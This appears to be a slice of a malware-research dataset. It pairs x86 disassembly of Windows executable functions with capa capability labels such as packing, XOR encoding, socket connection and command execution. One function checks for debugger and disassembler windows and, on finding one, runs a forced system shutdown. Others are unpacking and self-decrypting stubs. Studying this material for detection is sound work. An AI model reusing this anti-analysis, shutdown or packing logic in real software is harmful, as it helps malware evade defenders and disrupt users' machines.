joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4533a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46cbb0]
cmp dword [eax + 0x30], 0
je 0x45344a
cmp dword [ebx + 0x94], 0
jne 0x453444
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x453330
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x453444
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45340a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x453444
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413854
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x453419
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x453fac
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x453fe1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f3c
jmp 0x453fee
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ea0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x455040
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x455081
mov eax, esi
call fcn.0043b3a0
test al, al
je 0x455081
mov eax, dword [ebx + 0x84]
call fcn.0043b09c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x455081
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043b09c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x458748
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x458776
mov eax, ebx
call fcn.004591fc
cmp dword [ebx + 0x40], 0
je 0x45876f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4587e7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4587d9
cmp dword [ebx + 8], 0
je 0x458798
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4587aa
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4587d9
cmp dword [ebx + 8], 0
je 0x45878b
cmp eax, 3
je 0x4587bd
dec eax
jne 0x45878b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45878b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45878b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x458805
cmp dword [ebx + 0x14], 0xcc
je 0x458805
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00458810
pop ebx
ret
Function at 0x413370
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x4199e0], ecx
add edx, 1
cmp edx, 0x100
jb 0x413372
cmp edx, 0x800
jae 0x41345b
mov edi, edi
mov eax, dword [edx*4 + 0x4195e0]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x4199e0]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x4199dc], eax
jb 0x413430
mov dword [0x4199b4], 0x413ab0
call fcn.004135a0
test eax, eax
jne 0x413478
mov dword [0x4199b4], 0x4139d0
ret

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x11007b80
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x11007d4d
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x11007baa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x11007bb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x11007ba0
mov eax, 1
add ebx, ebx
jne 0x11007bc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x11007bb8
jne 0x11007bd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x11007bb8
xor ecx, ecx
sub eax, 3
jb 0x11007be8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x11007c5a
mov ebp, eax
add ebx, ebx
jne 0x11007bf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x11007c00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x11007c24
inc ecx
add ebx, ebx
jne 0x11007c10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x11007c05
jne 0x11007c21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x11007c05
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x11007c44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x11007c35
jmp 0x11007ba6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x11007c44
add edi, ecx
jmp 0x11007ba6
pop esi
mov edi, esi
mov ecx, 0x17
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x11007c62
cmp byte [edi], 0
jne 0x11007c62
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x11007c67
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x11007cdf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7a24]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7a60]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x11007c94
mov ecx, edi
jns 0x11007cc3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7a64]
or eax, eax
je 0x11007cd9
mov dword [ebx], eax
add ebx, 4
jmp 0x11007cb1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x11007d10
cmp al, 0xef
ja 0x11007d03
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x11007ce5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x11007cf2
mov ebp, dword [esi + 0x7a68]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x11007d44
sub esp, 0xffffff80
jmp 0x1100127c
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x53104b95
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x4304d8
nop
mov ecx, 0x7084467e
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x401090
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40330c], eax
mov eax, dword [ebp + 4]
mov dword [0x403159], eax
xor eax, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x4010bb
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403159]
mov dword [ebp - 0x48], eax
mov eax, 0x402291
mov dword [ebp - 0x54], eax
mov ecx, 0x403206
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x403159]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403358], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403358]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x401179
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x40116b
mov esp, ebp
ret
Function at 0x52b73a
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x52b754
sub eax, 0xe4dca864
xor byte [eax + 0x5d], ch
xchg al, cl
inc ebx
sti
push 0xc6ebd5ba
fstp dword [0xde10fc79]
push cs
push ebp
mov esp, edi
cmp dh, byte [esi]
jne 0x52b7a1
mov edi, cs
loopne 0x52b7bb
xchg ecx, eax
pop edi
adc al, bl
cmp byte [ecx - 0x30f71874], ah
mov byte [0x78d4321], al
xor eax, 0x2aae6808
sbb eax, 0x1609c55f
movsb byte es:[edi], byte [esi]
test byte [ebx], 0x24
in eax, dx
inc esp
jbe 0x52b760
into
dec esp
jmp 0x52b7c7
movsd dword es:[edi], dword [esi]
add eax, 0x954e6a4
invalid
test eax, 0xce8b4abd
adc dl, byte [ebx - 0x15366081]
int 0x2b
sahf
retf
jg 0x52b75c
leave
ljmp 0x1083:0xcb9e2bcd
mov eax, 0x6d8ee8e2
mov esi, dword [edi + esi*2]
xchg edi, eax
sub ah, byte [eax]
pop eax
out 0x1a, al
xor ecx, eax
or al, dl
jbe 0x52b7b4
fnstcw word [esi + 0x3246ba3b]
sub al, 0xa3
mov ecx, 0x2b8bbd4f
clc
mov dword [0x13aebb05], eax
leave
push es
je 0x52b7d5
inc ebp
cmpsb byte [esi], byte es:[edi]
lcall 0xb676, 0x77d66a28
push 0xffffffffffffffee
mov bh, 0xfd
sahf
xor byte [eax + 0x179a7011], 0xcb
push cs
mov dword [edi - 4], 0x9ee886fe
salc
int 0xc0
fst qword [edi]
pop ss
jbe 0x52b881
sbb cl, dl
xor eax, 0x438c47c0
dec ecx
loopne 0x52b7be
aaa
xchg ebp, eax
test byte [edx + 0x717860c6], bl
xchg esp, eax
or cl, ch
cmp eax, 0xf607f2dc
pop esp
push ds
pop ss
adc byte [eax], dh
mov ch, 0x6a
jnp 0x52b89a
pop ds
daa
stc
adc al, 0x22
cmp eax, 0xa77e003b
and bh, byte [0xa77e003b]
stc
lahf
mov dword [edi - 0x1e], edx
call 0x26dd2e2a
sub dword [esi + 0x1b], 0x4e121bb9
outsb dx, byte [esi]
invalid
sbb dh, dh
mov bh, 0xd9
cmp byte [esi - 0x76], ah
sub ecx, dword fs:[eax + 0x41]
dec edx
into
test eax, 0x8c1abc45
push esi
inc ebx
inc ebp
mov esp, 0x43568c1a
jbe 0x52b842
invalid
sbb dword [ebx + ebp*2], ecx
mov ebx, 0x7648a7fd
push ecx
cli
pop edi
cmpsd dword [esi], dword es:[edi]
sub ecx, dword [ecx - 0x15]
in eax, dx
jne 0x52b872
push eax
retf

Function at 0x54f519
Capabilities:
Encode data using xor

Disassembly:
jbe 0x54f553
dec esi
pop ebx
xor ebp, dword [edi]
pop ss
dec ebx
lodsd eax, dword [esi]
or eax, 0x9fd6cbe6
invalid
aaa
mov ebp, 0xa51207b0
adc dword [esi + esi*8 + 0x1d], esp
xchg byte [eax + 0x74], ch
mov esi, 0x16cfae0d
rol byte [edx - 0x73], cl
mov dl, bl
test al, 0x83
fidiv dword [edx + ebx*8 + 0x6b293fbe]
pop ss
neg byte [0xbe746886]
or eax, 0xd216cfae
inc edx
lea ecx, [edx - 0x257c572d]
mov ah, 0xda
mov esi, 0x176b293f
and eax, 0x49243ed8
sbb word [esi - 0x705ffa6b], 0xa374
clc
test al, 0xbb
pop edi
dec edx
mov ah, 0x46
in al, 0xa5
daa
rcl dword [ebx - 0x75c1cf65], 0x3e
mov ebx, 0xbb94667d
jnp 0x54f55b
scasd eax, dword es:[edi]
jg 0x54f5e8
inc ebx
invalid
invalid
Function at 0x10001000
Capabilities:
Execute command

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.OllyDbg
call edi
mov esi, dword [sym.imp.MSVCR100.dll_system]
test eax, eax
je 0x10001033
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push 0x100166a4
call edi
test eax, eax
je 0x10001058
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.ida64
call edi
test eax, eax
je 0x1000107d
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.idaq
call edi
test eax, eax
je 0x100010a2
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.x64dbg
call edi
test eax, eax
je 0x100010c7
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.IDA_Pro
call edi
test eax, eax
je 0x100010ec
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Immunity_Debugger
call edi
test eax, eax
je 0x10001111
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Radare2
call edi
test eax, eax
je 0x10001136
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Hopper_Disassembler
call edi
test eax, eax
je 0x1000115b
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Ghidra
call edi
test eax, eax
je 0x10001180
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Cheat_Engine
call edi
test eax, eax
je 0x100011a5
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Cheat_mod
call edi
test eax, eax
je 0x100011ca
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.BDCAM
call edi
test eax, eax
je 0x100011ef
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.explorer
call edi
test eax, eax
je 0x10001214
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.Bypass
call edi
test eax, eax
je 0x10001239
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
call fcn.10001250
call fcn.100012e0
pop edi
pop esi
jmp fcn.10001360
Function at 0x10001460
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10001470
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x1000147c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10001486
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10001490
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x1000149a
or eax, 8
shr ecx, 1
test cl, 1
je 0x100014a4
or eax, 4
shr ecx, 1
test cl, 1
je 0x100014ae
or eax, 2
test cl, 2
je 0x100014b6
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10001570
test al, 1
je 0x1000157d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10001570
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10001464
pop edi
pop ebx
ret

Function at 0x100015a0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x10016754
push eax
lea eax, [ebp - 0x408]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x100015f2
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov ecx, dword [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x1000163a
mov edi, edi
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10001620
cmp eax, 0x400
je 0x100015f4
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop ebx
xor ecx, ebp
not eax
pop esi
call fcn.10012916
mov esp, ebp
pop ebp
ret 8
Function at 0x10001670
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x1001675c
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCR100.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x100016a2
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call dword [sym.imp.MSVCR100.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x100016d0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
je 0x10001733
push ebx
lea ebx, [ebx]
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10001719
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x100016f8
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
jne 0x100016f0
pop ebx
push edi
call dword [sym.imp.MSVCR100.dll_free]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10001760
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x10016754
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10001792
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call dword [sym.imp.MSVCR100.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x100017c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
je 0x10001823
push ebx
lea ebx, [ebx]
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10001809
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x100017e8
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
jne 0x100017e0
pop ebx
push edi
call dword [sym.imp.MSVCR100.dll_free]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10001890
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100018c9
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x10038f24], eax
cmp eax, 0xffffffff
je 0x100018b9
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x10038f28], eax
test eax, eax
je 0x100018b9
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10138f34], 0x100030e0
mov al, 1
call fcn.10012916
mov esp, ebp
pop ebp
ret

Function at 0x10001910
Capabilities:
Connect socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x10038f24], 0xffffffff
push esi
mov esi, ecx
jne 0x1000195c
push 0x10020028
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 8
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x100019a4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100019a4
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov ecx, dword [0x10038f24]
push 0x10
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x10001a08
call esi
cmp eax, 0x2733
je 0x10001a08
call esi
push eax
push 0x10020128
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 0xc
mov esi, 0x10038f20
call fcn.10001aa0
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret 4
mov edx, dword [0x10038f28]
mov eax, dword [0x10038f24]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10001a2c
call esi
push eax
push 0x10020228
jmp 0x100019d3
push 0x80000
push 0
push 0x10038f2c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x100b8f30
mov dword [0x100b8f2c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1014417c
push 0
push 0x10038f20
push 0x10001fd0
push 0
push 0
mov dword [0x10138f30], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
mov dword [0x10138f54], eax
mov al, 1
xor ecx, ebp
mov byte [0x10138f58], al
pop esi
call fcn.10012916
mov esp, ebp
pop ebp
ret 4